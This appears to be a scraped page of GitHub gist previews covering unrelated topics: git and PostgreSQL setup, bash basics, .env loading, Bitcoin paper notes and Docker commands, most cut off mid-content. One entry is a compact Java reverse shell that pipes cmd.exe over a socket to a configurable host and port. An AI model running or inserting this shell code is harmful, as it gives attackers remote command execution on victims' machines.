jasim

/*
https://fullstack.pupilfirst.org
https://github.com/nseadlc-2020/package-todo-cli-task/tree/master/shared
*/

const EOL = require('os').EOL
const fs = require('fs')

const PENDING_TODOS_FILE = 'todo.txt'
const COMPLETED_TODOS_FILE = 'done.txt'

arnabsen1729

PostgreSQL

Installation

Installation Process

NOTE: Make sure you add bin to the path for you to be able to run the command.

Starting a postgres db

$ sudo service postgress start

sadn1ck

Setup git for the first time

• git config --global user.name "your name"
• git config --global user.email "yourEmail@email.com"
• git config --global color.ui true

Setting up passwordless commits:

• ssh-keygen -t rsa -C "yourEmail@email.com"
• name it something like githubssh (generic, I know)
• cat ~/.ssh/githubssh.pub
• Copy that output and go to

henrik242

1. Open Automator.app
2. Create new Quick Action
3. Select Run AppleScript
4. Add this:

set inputVolume to input volume of (get volume settings)
if inputVolume = 0 then
	set inputVolume to 100
	display notification "Volume set to 100" with title "✅ Microphone is on"

bradtraversy

#! /bin/bash

# ECHO COMMAND
# echo Hello World!

# VARIABLES
# Uppercase by convention
# Letters, numbers, underscores
NAME="Bob"
# echo "My name is $NAME"

mihow

# The initial version
if [ ! -f .env ]
then
  export $(cat .env | xargs)
fi

# My favorite from the comments. Thanks @richarddewit & others!
set -a && source .env && set +a

harding

A description of known problems in Satoshi Nakamoto's paper, "Bitcoin: A Peer-to-Peer Electronic Cash System", as well as notes on terminology changes and how Bitcoin's implementation differs from that described in the paper.

Abstract

The longest chain not only serves as proof of the sequence of events witnessed, but proof that it came from the largest pool of CPU power.

frohoff

String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

vidaaudrey

# Defines all Languages known to GitHub.
#
# type              - Either data, programming, markup, prose, or nil
# aliases           - An Array of additional aliases (implicitly
#                     includes name.downcase)
# ace_mode          - A String name of the Ace Mode used for highlighting whenever
#                     a file is edited. This must match one of the filenames in http://git.io/3XO_Cg.
#                     Use "text" if a mode does not exist.
# wrap              - Boolean wrap to enable line wrapping (default: false)
# extensions        - An Array of associated extensions (the first one is

garystafford

###############################################################################
# Helpful Docker commands and code snippets
###############################################################################

### CONTAINERS ###
docker stop $(docker ps -a -q) #stop ALL containers
docker rm -f $(docker ps -a -q) # remove ALL containers
docker rm -f $(sudo docker ps --before="container_id_here" -q) # can also filter

# exec into container